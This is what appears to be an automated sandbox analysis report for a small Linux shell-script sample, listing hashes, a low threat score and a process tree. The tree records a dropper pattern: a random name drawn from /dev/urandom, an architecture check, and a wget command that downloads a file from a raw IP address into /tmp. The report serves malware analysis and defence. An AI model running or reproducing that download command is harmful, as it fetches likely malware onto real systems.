1bf4bdb4a50d44582fd05b3d10bcbba3c3f384e1d95ede8fe6459228af497819

Analysis

max time kernel
146s
max time network
148s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/07/2026, 10:50

Target
1bf4bdb4a50d44582fd05b3d10bcbba3c3f384e1d95ede8fe6459228af497819.sh
Size 2KB
Sample260702-mxlytaex5n
SHA256 1bf4bdb4a50d44582fd05b3d10bcbba3c3f384e1d95ede8fe6459228af497819
MD5 78b99bb913ecef9fbd21bce90677de63
SHA1 e8d718a5ec38e3c085723266f142fc63ce085801
SHA512 dd9d5d62c37fa689b858c12665244308e99a251b7b0ee2cd6b0a4315048310d19e9666d3dde1f1f153a79310b13c51bf92870041bf757b889ad9caa31d7b44f5
TLSH
T15E51019EB4610923715BAE7ECE45DA958D4B05830630DC35F52E3C283FB8E44B506BA1
MD5 SHA1 SHA512 TLSH

Score

3^/10

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/iwp	wget

/tmp/1bf4bdb4a50d44582fd05b3d10bcbba3c3f384e1d95ede8fe6459228af497819.sh
/tmp/1bf4bdb4a50d44582fd05b3d10bcbba3c3f384e1d95ede8fe6459228af497819.sh
1⤵
PID:646
- /usr/bin/tr
  tr -dc a-z
  2⤵
  PID:650
- /usr/bin/head
  head -c 32 /dev/urandom
  2⤵
  PID:649
- /usr/bin/head
  head -c 6
  2⤵
  PID:651
- /bin/uname
  uname -m
  2⤵
  PID:655
- /usr/bin/wget
  wget -q -O iwp "http://46.151.182.73/oxpdxnaob113/assets/js/hk9r4h7dm6?token=sZJUJ8lMq4yzsZuO5oJu1gjt8HZxTFG3"
  2⤵
  - Writes file to tmp directory
  PID:657